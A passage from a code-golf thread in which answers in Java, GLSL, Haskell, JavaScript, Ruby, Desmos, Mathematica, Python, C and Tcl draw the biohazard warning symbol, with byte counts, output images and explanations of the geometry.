120° } R 0 g % set black color 4 L % set linewidth 4 0 0 11.5 c stroke % black ring 1 g % set white color 1 L % set linewidth 1 3 { 0 15 10 c stroke % white ring r % rotate by 120° } R showpage ``` Result (as animation to see how it is drawn): [![result](https://i.stack.imgur.com/GBUfb.gif)](https://i.stack.imgur.com/GBUfb.gif) [Answer] # Java 10, ~~860~~ 841 bytes ``` import java.awt.*;v->new Frame(){Color C;public void paint(Graphics g){var G=(Graphics2D)g;int t=300;G.fillOval(150,40,t,t);G.fillOval(55,205,t,t);G.fillOval(245,205,t,t);G.setColor(C.WHITE);G.fillOval(195,45,t=210,t);G.fillOval(65,270,t,t);G.fillOval(325,270,t,t);G.fillOval(270,270,60,60);G.fillRect(295,240,10,60);G.fillPolygon(new int[]{246,251,303,298},new int[]{326,334,304,296},4);G.fillPolygon(new int[]{298,349,354,303},new int[]{304,334,326,296},4);G.fillRect(280,0,40,80);G.fillPolygon(new int[]{30,50,119,99},new int[]{433,467,427,393},4);G.fillPolygon(new int[]{550,570,501,481},new int[]{467,433,393,427},4);G.setColor(C.BLACK);G.setStroke(new BasicStroke(35));G.drawOval(183,183,235,235);G.setColor(C.WHITE);G.setStroke(new BasicStroke(10));G.drawOval(200,50,t=205,t);G.drawOval(70,275,t,t);G.drawOval(330,275,t,t);}{show();}} ``` **Output:** [![enter image description here](https://i.stack.imgur.com/kAaaf.png)](https://i.stack.imgur.com/kAaaf.png) And here with each part colored differently to see what is actually being drawn: [![enter image description here](https://i.stack.imgur.com/jxRsj.png)](https://i.stack.imgur.com/jxRsj.png) ## Explanation: Unlike all other answers, rotating and drawing would be even longer in Java, so instead I'm using default draw methods. This unfortunately came with one big disadvantage: I need to know the \$x,y\$-coordinate of the top-left corner of the square surrounding the circle, and its width/height. As well as some more \$x,y\$-coordinates for rotated rectangles. This took A LOT of calculations to finally finish with this code and output. The sizes are based on a center point at coordinate \$[300,300]\$, with 10 times the units mentioned in [the picture of the challenge description](https://i.stack.imgur.com/fIsNl.png) as sizes for all shapes. Why 10 times as large? All the Java AWT methods require integers as pixel-coordinates, so using the default small units would become way to inaccurate when rounding to integers. By using a 10 times as large value it's still easy to calculate with, and the rounding errors are minimal (although still slightly noticeable to the naked eye - note: all decimals are rounded 'half up'). **Code explanation:** ``` // Import for Frame, Panel, Graphics, Graphics2D, Color, and BasicStroke: import java.awt.*; // Method with empty unused parameter and Frame return-type v-> // Create a Frame (window for graphical output) new Frame(){ // Color null-object on class-level to use for static calls and save bytes Color C; // Override its default paint method public void paint(Graphics g){ // Cast the Graphics to a Graphics2D-object, for the setStroke() method var G=(Graphics2D)g; // Temp integer to save bytes int t=300; // Draw the three large black circles (default color is black) G.fillOval(150,40,t,t); G.fillOval(55,205,t,t); G.fillOval(245,205,t,t); // Then change the color to white G.setColor(C.WHITE); // Draw the two smaller inner circles G.fillOval(195,45,t=210,t); G.fillOval(65,270,t,t); G.fillOval(325,270,t,t); // As well as the small circle at the center of the bio-hazard symbol G.fillOval(270,270,60,60); // Draw the three openings next to the middle circle G.fillRect(295,240,10,60); G.fillPolygon(new int[]{246,251,303,298},new int[]{326,334,304,296},4); G.fillPolygon(new int[]{298,349,354,303},new int[]{304,334,326,296},4); // Create the three openings for the outer circles G.fillRect(280,0,40,80); G.fillPolygon(new int[]{30,50,119,99},new int[]{433,467,427,393},4); G.fillPolygon(new int[]{550,570,501,481},new int[]{467,433,393,427},4); // Change the color back to black G.setColor(C.BLACK); // Set the line thickness to 35 pixels G.setStroke(new BasicStroke(35)); // Draw the circle that would form the arcs in the bio-hazard symbol G.drawOval(183,183,235,235); // Change the color to white again G.setColor(C.WHITE); // Set the line thickness to 10 pixels G.setStroke(new BasicStroke(10)); // And draw the three rings alongside the earlier inner circles we drew, // to create gaps in the ring to form the arcs G.drawOval(200,50,t=200,t); G.drawOval(70,275,t,t); G.drawOval(330,275,t,t);} // Start an initialized block for this Frame { // And finally show the Frame show();}} ``` **Calculations:** And now comes the long part: how are all these magic numbers in the code calculated? As I mentioned earlier, I've used 10 times the units of the picture in the challenge description, so those sizes are: \$A=10, B=35, C=40, D=60, E=110, F=150, G=210, H=300\$. I've also assumed the very center is at coordinate \$[300,300]\$. Using just this information, I had to calculate all the magic numbers you see in the code, which I will go over down below: *1a) Top black circle:* Width/height: this is mentioned in the diagram: \$H=300\$. \$x,y\$-coordinate top-left square corner: line \$E\$ goes from the center of the bio-hazard symbol (\$[300,300]\$) to the center of the black circle. So the coordinate at the center of this circle is therefore \$[300, 300-E]\$. From there, we can subtract halve the width/height from both the \$x\$ and \$y\$ coordinate of this center to get the coordinate of the top-left corner of the square surrounding the circle: \$[300-\frac{H}{2}, 300-E-\frac{H}{2}] → [150, 40]\$. *1b) Bottom-left black circle:* Width/height: again \$H=300\$. \$x,y\$-coordinate top-left square corner: we again know the length of line \$E\$. We also know that the angle is at 330°. If we draw a triangle with \$E\$ as long side, and with the three corners as angles \$90,60,30\$, we can calculate the other two sides: [![enter image description here](https://i.stack.imgur.com/HwxH2.png)](https://i.stack.imgur.com/HwxH2.png) Here \$a=\frac{E}{2}\$ and \$c=\frac{E}{2}\sqrt{3}\$. So the center coordinates of this black circle is therefore \$[300-\frac{E}{2}\sqrt{3}, 300+\frac{E}{2}]\$. From there, we can again subtract halve the width/height from both to get the coordinate of the top-left corner of the square surrounding the circle: \$[300-\frac{E}{2}\sqrt{3}-\frac{H}{2}, 300+\frac{E}{2}-\frac{H}{2}] → [54.737, 205]\$ *1c) Bottom-right black circle:* Width/height: again \$H=300\$. \$x,y\$-coordinate top-left square corner: we do something similar as above, but in the other direction: \$[300+\frac{E}{2}\sqrt{3}-\frac{H}{2}, 300+\frac{E}{2}-\frac{H}{2}] → [245.262, 205]\$ *2a) Top inner white circle:* Width/height: this is mentioned in the diagram: \$G=210\$. \$x,y\$-coordinate top-left square corner: line \$F\$ goes from the center of the bio-hazard symbol (\$[300,300]\$) to the center of the inner white circle. So the coordinate at the center of this circle is therefore \$[300, 300-F]\$. From there, we can subtract halve the width/height from both the \$x\$ and \$y\$ coordinate of this center to get the coordinate of the top-left corner of the square surrounding the circle: \$[300-\frac{G}{2}, 300-F-\frac{G}{2}] → [195, 45]\$. *2b) Bottom-left inner white circle:* Width/height: again \$G=210\$. \$x,y\$-coordinate top-left square corner: similar as what we did in step 1b: \$[300-\frac{F}{2}\sqrt{3}-\frac{G}{2}, 300+\frac{F}{2}-\frac{G}{2}] → [65.096, 270]\$ *2c) Bottom-right inner white circle:* Width/height: again \$G=210\$. \$x,y\$-coordinate top-left square corner: similar as what we did in step 1c: \$[300+\frac{F}{2}\sqrt{3}-\frac{G}{2}, 300+\frac{F}{2}-\frac{G}{2}] → [324.903, 270]\$ *3) Center white circle:* Width/height: this is mentioned in the diagram: \$D=60\$. \$x,y\$-coordinate top-left square corner: subtracting halve this width/height from the center coordinate is enough: \$[300-\frac{D}{2}, 300-\frac{D}{2}] → [270, 270]\$ *4a) Top white rectangle gap at the center of the bio-hazard symbol:* Width: this is mentioned in the diagram: \$A=10\$. Height: Not too irrelevant, as long as it's large enough to create the gap, and not too large to go over other thing that should remain black. So I've just used \$D=60\$ here. \$x,y\$-coordinate top-left corner: \$[300-\frac{A}{2}, 300-D] → [295, 240]\$ *4b) Bottom-left rectangle gap at the center of the bio-hazard symbol:* Single the rectangle is angled, the Java method `fillPolygon(int[] xPoints, int[] yPoint, int amountOfPoints)` doesn't need the width/height, but instead needs the four individual coordinates of the corners of this rectangle. By again creating multiple triangles with corner-angles at 90, 60, and 30 degrees with the long side known, we can calculate the other sides. The calculations of the four points in the order I've used them in the Java method are: \$[300-\frac{D}{2}\sqrt{3}-\frac{A}{4}, 300+\frac{D}{2}-\frac{A}{4}\sqrt(3)] → [245.528, 325.669]\$ \$[300-\frac{D}{2}\sqrt{3}+\frac{A}{4}, 300+\frac{D}{2}+\frac{A}{4}\sqrt(3)] → [250.538, 334.330]\$ \$[300+\frac{A}{4}, 300+\frac{A}{4}\sqrt{3}] → [302.5, 304.330]\$ \$[300-\frac{A}{4}, 300-\frac{A}{4}\sqrt{3}] → [297.5, 295.669]\$ *4c) Bottom-right rectangle gap at the center of the bio-hazard symbol:* Likewise as step 4b: \$[300-\frac{A}{4}, 300+\frac{A}{4}\sqrt{3}] → [297.5, 304.220]\$ \$[300+\frac{D}{2}\sqrt{3}-\frac{A}{4}, 300+\frac{D}{2}+\frac{A}{4}\sqrt{3}] → [349.461, 334.330]\$ \$[300+\frac{D}{2}\sqrt{3}+\frac{A}{4}, 300+\frac{D}{2}-\frac{A}{4}\sqrt{3}] → [354.461, 325.669]\$ \$[300+\frac{A}{4}, 300-\frac{A}{4}\sqrt{3}] → [302.5, 295.669]\$ *5a) Top big white gap:* Width: this is mentioned in the diagram: \$C=40\$. Height: Not too irrelevant, as long as it's large enough to create the gap, and not too large to go over other thing that should remain black. So I've just used \$2\times\text{1a.}y=80\$ here. \$x,y\$-coordinate top-left corner: \$[300-\frac{C}{2}, 0] → [280, 0]\$ The \$0\$ isn't calculated, it was just easier to use (as mentioned earlier, the height is mostly irrelevant). *5b) Bottom-left big rectangle gap:* Similar as step 4b for the first two points: \$[300-\frac{H}{2}\sqrt{3}-\frac{C}{4}, 300+\frac{H}{2}-\frac{C}{4}\sqrt{3}] → [30.192, 432.679]\$ \$[300-\frac{H}{2}\sqrt{3}+\frac{C}{4}, 300+\frac{H}{2}+\frac{C}{4}\sqrt{3}] → [50.192, 467.320]\$ For the other two we can't base it on the center of the screen like we did in step 4b, but instead we'll calculate it based on the two points we've just calculated: \$[300-\frac{H}{2}\sqrt{3}+\frac{C}{4}+\frac{80}{2}\sqrt{3}, 300+\frac{H}{2}+\frac{C}{4}\sqrt{3}-\frac{80}{2}] → [119.474, 427.320]\$ \$[300-\frac{H}{2}\sqrt{3}-\frac{C}{4}+\frac{80}{2}\sqrt{3}, 300+\frac{H}{2}-\frac{C}{4}\sqrt{3}-\frac{80}{2}] → [99.474, 392.679]\$ (where the \$80\$ is the \$2\times\text{1a.}y\$ mentioned in step 5a) *5c) Bottom-right big rectangle gap:* Likewise as step 5b: \$[300+\frac{H}{2}\sqrt{3}-\frac{C}{4}, 300+\frac{H}{2}+\frac{C}{4}\sqrt{3}] → [549.807, 467.320]\$ \$[300+\frac{H}{2}\sqrt{3}+\frac{C}{4}, 300+\frac{H}{2}-\frac{C}{4}\sqrt{3}] → [569.807, 432,679]\$ \$[300+\frac{H}{2}\sqrt{3}+\frac{C}{4}-\frac{80}{2}\sqrt{3}, 300+\frac{H}{2}-\frac{C}{4}\sqrt{3}-\frac{80}{2}] → [500.525, 392.679]\$ \$[300+\frac{H}{2}\sqrt{3}-\frac{C}{4}-\frac{80}{2}\sqrt{3}, 300+\frac{H}{2}+\frac{C}{4}\sqrt{3}-\frac{80}{2}] → [480.525, 427.320]\$ *6) Black ring that will form the arcs:* Thickness: this is mentioned in the diagram: \$B=35\$. Width/height: this can be calculated with the units in the diagram: \$2(E-A+B) → 270\$, after which we'll remove the thickness: \$2(E-A+B)-B → 235\$ (halve the thickness at both sides) \$x,y\$-coordinate top-left corner: we simply subtract halve the width/height from the center coordinate: \$[300-\frac{2(E-A+B)-B}{2}, 300-\frac{2(E-A+B)-B}{2}] → [182.5, 182.5]\$ *7) White ring inside the inner circles to form the arcs:* Thickness: this is mentioned in the diagram: \$A=10\$. Width/height: this is the same as step 2a: \$G=210\$, but with this thickness removed: \$G-A → 200\$ \$x,y\$-coordinate top-left corner: these are the same calculations as in step 2a, but with the adjusted width/height \$G-A\$ instead of \$G\$: \$[300-\frac{G-A}{2}, 300-F-\frac{G-A}{2}] → [200, 50]\$ \$[300-\frac{F}{2}\sqrt{3}-\frac{G-A}{2}, 300+\frac{F}{2}-\frac{G-A}{2}] → [65.096, 270] → [70.096, 275]\$ \$[300+\frac{F}{2}\sqrt{3}-\frac{G-A}{2}, 300+\frac{F}{2}-\frac{G-A}{2}] → [324.903, 270] → [329.903, 275]\$ And rounding all those values we've calculated to integers we get the code and output above. [Answer] # GLSL, ~~319~~ 310 bytes ``` #define F float #define H(y)sqrt(x*x+(y)*(y)) void mainImage(out vec4 D,in vec2 u){vec2 U=u*.003-.5;F x=abs(U.x),y=U.y;if(y<.577*x){F t=.5*x+.866*y;y=.866*x-.5*y;x=abs(t);}F c=F(H(y-.11)<.15);F R=H(y);F S=H(y-.15);if(S<.105)c=0.;if(R<.03)c=0.;if(x<(R<.1?.005:.02))c=0.;if(R>.10&&R<.135&&S<.095)c=1.;D=vec4(c);} ``` This can be rendered on [Shadertoy](https://www.shadertoy.com). [![sample](https://i.stack.imgur.com/urMoq.png)](https://i.stack.imgur.com/urMoq.png) You can use the symmetry in the image to draw it with a smaller amount of separate shapes. Here is a somewhat inflated version: ``` #define F float #define H(y) sqrt(x*x+(y)*(y)) void mainImage(out vec4 D,in vec2 u) { // normalized UV vec2 U = u*.003 - .5; // fold the 6 identical sections to the same UV coordinates F x = abs(U.x), y = U.y; if (y < .577*x) { F t = .5*x + .866*y; y = .866*x - .5*y; x = abs(t); } // circles and lines F c = F(H(y-.11) < .15); F R = H(y); F S = H(y-.15); if (S < .105) c = 0.; if (R < .03) c = 0.; if (x < (R < .1 ? .005 : .02)) c = 0.; if (R > .10 && R < .135 && S < .095) c = 1.; // output D = vec4(c); } ``` --- (thanks to @Kevin Cruijssen for removing some unnecessary whitespace) [Answer] # [Haskell](https://www.haskell.org/), ~~530~~ ~~491~~ ~~436~~ ~~435~~ ~~430~~ 420 bytes ``` f=fromIntegral c(a,b)r(x,y)=(x-a)^2+(y-b)^2<r^2 (m#w)t(x,y)|c<-cos(-t),s<-sin(-t)=x*c-y*s>m&&abs(x*s+y*c)<w/2 u a p=any($p)a i a p=all($p)a v=(*(pi/6))<$>[9,5,1] o=c(0,0) h?r=[c(h*cos a,h*sin a)r|a<-v] (h%y)x|u[i[u$11?15,(not.)$u$o 3:map(0#1)v++map(9#4)v++15?10.5],i[o 13.5,not.(o 10),u$15?9.5]](60*f x/h-30,60*f y/h-30)="0 "|0<1="1 " g h|s<-show h,n<-[0..h-1]=writeFile"a.pbm"$unlines$"P1":(s++' ':s):[n>>=(f h%)y|y<-n] ``` Outputs a PBM file. This was a lot of fun! [![Biohazard](https://i.stack.imgur.com/VEbV1.png)](https://i.stack.imgur.com/VEbV1.png) (I had to convert this to PNG to upload to imgur) Basically we create our own vector graphics functions which render onto an image pixel by pixel by detecting whether the pixel is part of the shape. The shape is constructed as a bunch of circles and lines (radiating from the origin) held together with basic set operations: union, intersection, and not. The circles are composed of their center and a radius, and the lines have a minimum radius, a width, and an angle in that order. Detecting membership in a circle is easy: I just subtract the center coords and compare the magnitude to the radius. The line is slightly more complicated: I rotate the point by the opposite of the angle to bring it (to nullify the rotation) then I just check whether the x and y coordinates fall within the expected range. The minimum radius is to ensure the larger gap at the far ends of the large circles does not overrule the small gaps near the center. After that it's a simple matter of boolean logic to do set math. EDIT: Thanks a lot to @flawr for taking off 39 bytes! EDIT2: Thanks a lot to @Christian Sievers for taking off 55 bytes! Good idea making them into functions EDIT3: Thanks again to @Christian Sievers for shaving off another byte! EDIT4: Took off 7 bytes thanks to @H.PWiz and @Angs! EDIT5: Just noticed a bug! I was rendering the lines twice as thick as they were supposed to be! Cost me 2 bytes to fix it (had to divide width by 2; could've adjusted the constant values but changing 1 to 0.5 would also cost 2). EDIT6: Thanks @Angs for taking off another 10 bytes! [Answer] # HTML / JS, ~~448 435 433~~ 387 bytes *Saved many bytes by using [@Neil's pre-minimized version](https://codegolf.stackexchange.com/a/191304/58563) of the SVG* *Saved 2 bytes thanks to @Shaggy* A compressed version of [this SVG file](https://commons.wikimedia.org/wiki/File:Biohazard_symbol.svg) from Wikimedia Commons. ``` <body onload="_=`<svg~12y~24y><path id=p d=m28.8117,27.046a3,3}0qb3117q4.004v-1w539|1wq20.7959v-w583a1jxb7975x7.3228xj,8.6032x9.7443l-.4835q.2792|-18.7598q9.0989zm3.4148q8.871a10x0}0q1b453,c9w,9w{-kx3wx3w}1x6.8042,0x0x0{k>~><use href=#p transform=rotate(},cc|a10wx0w}c{}1qb1756,yc26,26) /x,1w.5q,-kb7417j5x5}1c0,b2.`;for(i of`bcjkqwxy{|}~`)with(_.split(i))_=b.innerHTML=join(pop())"id=b> ``` [Try it online!](https://tio.run/##TZBNj5swGIT/ClIvEJk3/sS2NuS8h/bWe4IJ2UAIxsDGTgn56ym9VRpppNGjGWma4l6M5VD3U9rZU/U2UR7Ny8d7uwGAy3RrV9tsD/lxN96/XoQ@XpQ/9ru@mC5Rfcr76JTfqAJFiERUAuZZwRBbsDNsjRwHjPk9JV4w/STeUQxSC31PvVCsIE0wUksRJDBKVWiQggwzGjRIzlmbAldMOKBS02dKFEihldOAtdJ/bgw44cqt45IUBAe8rhLDBUOl9kj7Ob0G5lctJGSgMKdohQKer/vXfvc9VtFlqM75jz6ahqIbz3a45YOdiqmKF1SWz7XTB@yXcl6IM0SKDD1KmiGaJdE2IOJBOJRejeRENiKIhZQYGQrHj7UqriN7PpqyuTofHvNzeR0TX0@X@ABj39ZTXCfJITdQd101fP7@9TNvbN3Fve3jJPl3/mb7Lm032raC1n7F/5HJ@y8 "JavaScript (Node.js) – Try It Online") (just outputs the decompressed string) ### Demo snippet ``` setTimeout(_ => document.getElementsByTagName('svg')[0].setAttribute("viewBox", "0 0 100 100"), 0) ``` ``` <body onload="_=`<svg~12y~24y><path id=p d=m28.8117,27.046a3,3}0qb3117q4.004v-1w539|1wq20.7959v-w583a1jxb7975x7.3228xj,8.6032x9.7443l-.4835q.2792|-18.7598q9.0989zm3.4148q8.871a10x0}0q1b453,c9w,9w{-kx3wx3w}1x6.8042,0x0x0{k>~><use href=#p transform=rotate(},cc|a10wx0w}c{}1qb1756,yc26,26) /x,1w.5q,-kb7417j5x5}1c0,b2.`;for(i of`bcjkqwxy{|}~`)with(_.split(i))_=b.innerHTML=join(pop())"id=b> ``` [Answer] # [Ruby](https://www.ruby-lang.org/), 278 bytes ``` puts"<svg viewBox='-60-60 120 120'><circle cx='0'cy='0'r='23.5'stroke-width='7'fill='white'stroke='red'/>",(-3..5).map{|i|"<path fill='red'stroke='white'stroke-width='2'd='M5 0A5 5 0 0 1 0 5v5A20 20 0 0 1 2 50v3A31 31 0 0 0 31 17'transform='scale(#{i/3},-1)rotate(#{i*120})'/>"} ``` [Try it online!](https://tio.run/##TU/LjsIwDPwVq3swXdGShwKXBqnc@YhsGmhE2VZJaBdBv72b8pCQPZY1nrFsd/m5TlN3CT4pfH@E3pph1/5JzNYkJlD2AG4LbZ1uDOg4I6ivc3USGc8F@uDak8kGW4Va4gYPtmkkDrUN5jWT6EyFq22yXGQ8z0Wan1V3u9t7UnQq1PB0zJq3/tP93sywkrgXQEoBscagEaIXZbySkRfDQJCel5wCp/AkY0M3GJz69YfWnSV6rRqz@LrZFR@XGU1dG1R4EN/x2zGdTx2n6R8 "Ruby – Try It Online") Generates the SVG code below, with the symbol being at 200% of the scale in the OP. It consists of a circle at the back, and the prongs in the foreground. The prong is scaled `-1,0,1` in the `X` axis and rotated through multiples of 120 degrees. The cases where the `X` scaling is zero produce no output, while the `-1` and `+1`. provide the two sides of each pair of prongs. Use is made of a 2-unit wide white border around the prong to cut the back circle, using the `stroke` and `stroke-width` attributes. In order for the internal shape to be per the OP, the coordinates are moved by 1 unit (half the width of the border.) Note that the path is deliberately not closed, to suppress the drawing of the final line of the border. This ensures the two halves of each pair of prongs join together. 90 degrees of the inner circle are drawn rather than the expected 60, for golfing reasons. This means there is some overlap between the bases of each pair of prongs, but this does not affect the appearance of the output shape. ``` <svg viewBox='-60-60 120 120'><circle cx='0'cy='0'r='23.5'stroke-width='7'fill='white'stroke='red'/> <path fill='red'stroke='white'stroke-width='2'd='M5 0A5 5 0 0 1 0 5v5A20 20 0 0 1 2 50v3A31 31 0 0 0 31 17'transform='scale(-1,-1)rotate(-360)'/> <path fill='red'stroke='white'stroke-width='2'd='M5 0A5 5 0 0 1 0 5v5A20 20 0 0 1 2 50v3A31 31 0 0 0 31 17'transform='scale(-1,-1)rotate(-240)'/> <path fill='red'stroke='white'stroke-width='2'd='M5 0A5 5 0 0 1 0 5v5A20 20 0 0 1 2 50v3A31 31 0 0 0 31 17'transform='scale(-1,-1)rotate(-120)'/> <path fill='red'stroke='white'stroke-width='2'd='M5 0A5 5 0 0 1 0 5v5A20 20 0 0 1 2 50v3A31 31 0 0 0 31 17'transform='scale(0,-1)rotate(0)'/> <path fill='red'stroke='white'stroke-width='2'd='M5 0A5 5 0 0 1 0 5v5A20 20 0 0 1 2 50v3A31 31 0 0 0 31 17'transform='scale(0,-1)rotate(120)'/> <path fill='red'stroke='white'stroke-width='2'd='M5 0A5 5 0 0 1 0 5v5A20 20 0 0 1 2 50v3A31 31 0 0 0 31 17'transform='scale(0,-1)rotate(240)'/> <path fill='red'stroke='white'stroke-width='2'd='M5 0A5 5 0 0 1 0 5v5A20 20 0 0 1 2 50v3A31 31 0 0 0 31 17'transform='scale(1,-1)rotate(360)'/> <path fill='red'stroke='white'stroke-width='2'd='M5 0A5 5 0 0 1 0 5v5A20 20 0 0 1 2 50v3A31 31 0 0 0 31 17'transform='scale(1,-1)rotate(480)'/> <path fill='red'stroke='white'stroke-width='2'd='M5 0A5 5 0 0 1 0 5v5A20 20 0 0 1 2 50v3A31 31 0 0 0 31 17'transform='scale(1,-1)rotate(600)'/> ``` [Answer] # [Desmos](https://desmos.com/calculator), ~~126~~ 125 bytes ``` s=\sqrt3x Y=max(2y,s-y,-s-y)/2 S=xx+yy S-6Y+6.39<\{4<S<7.29\} 0>(S-6Y+4.59)(S-.36)(S-4.4Y-4.16)\{Y<2,S-YY>.16\}\{S-YY>.01\} ``` The empty lines are included to paste in piecewises properly. [Try it on Desmos!](https://www.desmos.com/calculator/mwhxbrm12v) *-1 byte thanks to [@KevinCruijssen](https://codegolf.stackexchange.com/users/52210/kevin-cruijssen) (inline `S-YY`)* This translates nicely to the following 159-byte one-liner: ``` [\{xx+yy-6Y+6.39<\{4<xx+yy<7.29\},(xx+yy-6Y+4.59)(.36-xx-yy)(xx+yy-4.4Y-4.16)\{Y<2,xx+yy-YY>.16\}\{xx+yy-YY>.01\}\}\for Y=[\max(2y,\sqrt3x-y,-\sqrt3x-y)/2]]>0 ``` [Try it on Desmos!](https://www.desmos.com/calculator/xgr0zzt50z) [Answer] # [Wolfram Language (Mathematica)](https://www.wolfram.com/wolframscript/), ~~211~~ ~~209~~ ~~191~~ ~~182~~ ~~175~~ ~~168~~ ~~166~~ ~~164~~ ~~163~~ 162 bytes ``` {a,b}=AbsArg[I*x-y];z=Exp[Mod[b,2Pi/3]I-Pi/3I]a-22;u=Abs@Im@z;n=Abs[z-8];RegionPlot[20<a<27&&n<19||a>6&&Abs[z]<30&&n>21&&u>1&&(u>4||Re@z<-2),{x,s=52,-s},{y,-s,s}] ``` Here exported with the additional option `PlotPoints -> 100` to make it look more accurate: [![enter image description here](https://i.stack.imgur.com/zc550.png)](https://i.stack.imgur.com/zc550.png) ### how it works: * `a = Sqrt[x^2+y^2]` is the distance from the center. * `z+22 = I*x-y` is the complex representation of the point (x,y) but mapped into the first 120° wedge, so that its complex argument is always in the range [-π/3,+π/3] and we only need to deal with one third of the symbol * `u = Abs[Im[z]]` is the magnitude of the x-coordinate in the first 120° wedge * The [`RegionPlot`](https://reference.wolfram.com/language/ref/RegionPlot.html) plots for each point in the x-y plane whether or not it satisfies a given condition. This condition is satisfied for points that belong to the symbol, magnified by a factor of 2 to avoid fractions. * `n` is the distance to the point (0,30), which is the center of the outward-going arcs (2F=30) * `20 < a < 27 && n < 19` is the ring around the center: 2(E-A) < a < 2(E-A+B) and n < G-2A * `a > 6 && Abs[z] < 30 && n > 21 && u > 1 && (u > 4 || Re@z < -2)` is the main structure of the symbol: + a > D clears out the central hole + Abs[z+22 - 2E] < H clears out anything beyond the outer edge of the arcs + n > G clears out the holes surrounded by the arcs + u > A clears the gaps in the symbol around the central hole + u > C || Re[z+22] < 20 cuts a gap into the tips of the arcs [Answer] # Python 3 with pygame, ~~327 314 287~~ 278 bytes (Applied various nasty hacks to save 13 bytes; most notably no longer storing the color but calculating it on the fly with `-(r>25)`) (Refactored to function, losing `sys`; hacked out `math` in favour of coordinate constants; small tweaks; saved 27 bytes) (Rewrote coordinate constants to [complex math tricks to get (co)sine](https://codegolf.stackexchange.com/a/146172/88506), saving 9 bytes) Function that takes a single integer argument representing half the width/height of the resulting image. E.g. `f(500)` will create a 1000x1000 pixel window, and draw a biohazard symbol in there. ``` from pygame import*;D=display def f(S): u=D.set_mode([S*2]*2);b=S>>6 for p,r,w in(22,30,0),(30,20,0),(0,27,7),(30,21,2),(0,6,0),(51,4,0): for l in 0,4/3,8/3:Z=1j**l*p*b;q=S+int(Z.imag),S-int(Z.real);draw.circle(u,-(r>25),q,r*b,w*b);r-20or draw.line(u,0,(S,S),q,b*2);D.flip() ``` Unshortened version: ``` import pygame import math import sys size = int(sys.argv[1]) basic = size // 55 screen = pygame.display.set_mode((size * 2, size * 2)) circles = [ (22, 30, 0, -1), # basic shape (30, 20, 0, 0), # large cutouts (0, 27, 7, -1), # "background circle" (30, 21, 2, 0), # "background circle" clearance (0, 6, 0, 0), # center disc (51, 4, 0, 0), # blunt the points ] for pos, radius, width, color in circles: for lobe in [0, math.pi * 2 / 3, math.pi * 4 / 3]: x = int(math.sin(lobe) * pos * basic) + size y = size - int(pos * basic * math.cos(lobe)) pygame.draw.circle(screen, color, (x, y), radius * basic, width * basic) # Hack to draw the small slots in the center if radius == 20: pygame.draw.line(screen, 0, (size, size), (x, y), basic * 2) pygame.display.flip() ``` The key to this program is mostly exploiting the 3-way point symmetry of the symbol, and expressing the drawing operations as sparsely as possible. The heart of it all is `circles`, which is a list of circle definitions, consisting just of: * `position`: how far outwards from the origin in half basic units * `radius`: the radius of the circle in half basic units * `width`: the border width of the circle (inwards from the outer circle, 0 = fill) * `color`: exploiting the fact that pygame interprets `0` as black and `-1` as white Every drawing operation is repeated three times, rotated 120°. The blunting of the "claws" is done with another circle. The inside "line cuts" are special-cased because I couldn't think of a more efficient way to get them in there. The "basic unit" defined in the specification is doubled here so I didn't have to use `.5` in `circles` and `int()` all over the place to satisfy pygame. Result for `python3 -c 'from biohazard import *; f(500)'`: [![Display output of this answer](https://i.stack.imgur.com/nzVp9m.png)](https://i.stack.imgur.com/nzVp9.png) [Answer] # [C (gcc)](https://gcc.gnu.org/) (MinGW), ~~557~~ ~~530~~ ~~524~~ 522 bytes -27 -6 bytes thanks to [ceilingcat](https://codegolf.stackexchange.com/users/52904/ceilingcat) Added compiler option `-lm` on TiO strictly to be able to show how it runs. Under MinGW this is not necessary. Takes width of image as a command line argument. Outputs a 3-shade greyscale PGM file to STDOUT. The circle drawing function is slightly longer than it could be, to avoid dreadful runtime on even moderately sized images, the positioning/scaling of the symbol is not perfect, and I suspect shuffling the draw order somewhat might squeeze some more out of this, so there is room for improvement for sure. Everything is drawn as circles. The rectangular cutouts are painted using the circle drawing function as a moving brush. ``` char*I;q,j=5,r,c;N(n){n="F=**(..*(C/)F<<*>FF)"[j*4+n]-40;}float d,b,m,x,y,V=2.0944;C(x,y,R,t,z)float x,y,R,t;{for(r=y<R?0:y-R;r<=y+R;r++)for(c=x-R;c<=x+R;c++)d=hypot(c-x,r-y),d<R&d>=R-t?I[r*q+c]=z:0;}main(i,v)int**v;{q=atoi(v[1]);b=q/104.;m=q/2.;for(I=memset(calloc(q,q+1),2,q*q);i=j--;)for(x=0;x<7;x+=V)C(m+cos(x)-N(0)*b*sin(x),m-N(0)*b*cos(x)+sin(x),N(1)*b,N(2)*b,N(3));for(;i<3;i++)for(j=m;j--;C(m-x,m-y,d,d=d>4*b&d<10*b?b:d>50*b?b*4:0,2))d=hypot(x=j*sin(x)-cos(x),y=j*cos(x=i*V)-sin(x));printf("P5 %d %d 2 %s",q,q,I);} ``` [Try it online!](https://tio.run/##PVBda@MwEPwrIdAiyStXdh2Oi7zJQyCQl3D4IS8hD7bUtDaWXX8Q5Ib@9fMpcXog2J0ZsbOzir8rNY7qI23ZTjZQ4AJaUHJPKnqtcL5FxojvM7J5ods4Zqvtls6PBYu86sQjIb/PZZ32Mw0ZGLAwwAFDX/yOIrkhN5hAD190@vTA8nquW9LiECdrsRx4ItsYB88Vz6M3SaF1pIrROlI5UuPH8Fn3RHELLR8o6Dh51itMeL/eHVvWeOqEX0u3jUnziuRwoXnVM3aR1wbTvs7J5RicqMyweQlE5EvjmtCXN7MdmjfTvbnhaVnWijTQeAGFEBrWUJljwbm8b2VRSBv/ktbDA90Q46m6I5byPRGUZaxzxpaC@cGT6j3oPQkc6Uo4lVdK7@4yj19l/shdoJE3OzfcBTV8AA0a9Spi2bOOA8GydbbUq8W9YdFSQEj/38Zi8diBT9YwOObeYs4OlE8ilZ@tu82ZzP8sZk/69sLZUzcHlxt2VH6P4xgK8Vedy/S9G3lp/gE "C (gcc) – Try It Online") [Answer] # Tcl/Tk - 557 bytes ``` set F #000 set B #F50 pack [canvas .c -bg $B] rename expr e rename foreach f rename proc p p R r {list [e $r*cos($::a)] [e $r*sin($::a)]} p D {d r} {lassign [R $d] x y;list [e $x-$r] [e $y-$r] [e $x+$r] [e $y+$r]} p C {d r c} {.c cr o {*}[D $d $r] -f $c -outline $c} p L {p q w} {.c cr l {*}[R $p] {*}[R $q] -w [e $w] -f $::B} p A {d r w c} {.c cr a {*}[D $d $r] -w [e $w] -star 0 -ex 359.9 -sty arc -outline $c} f x {{C 11 15 $F} {C 15 10.5 $B} {L 0 5 1} {L 20 40 4} {C 0 3 $B} {A 0 11.75 3.5 $F} {A 15 10 1 $B}} {f a {2.62 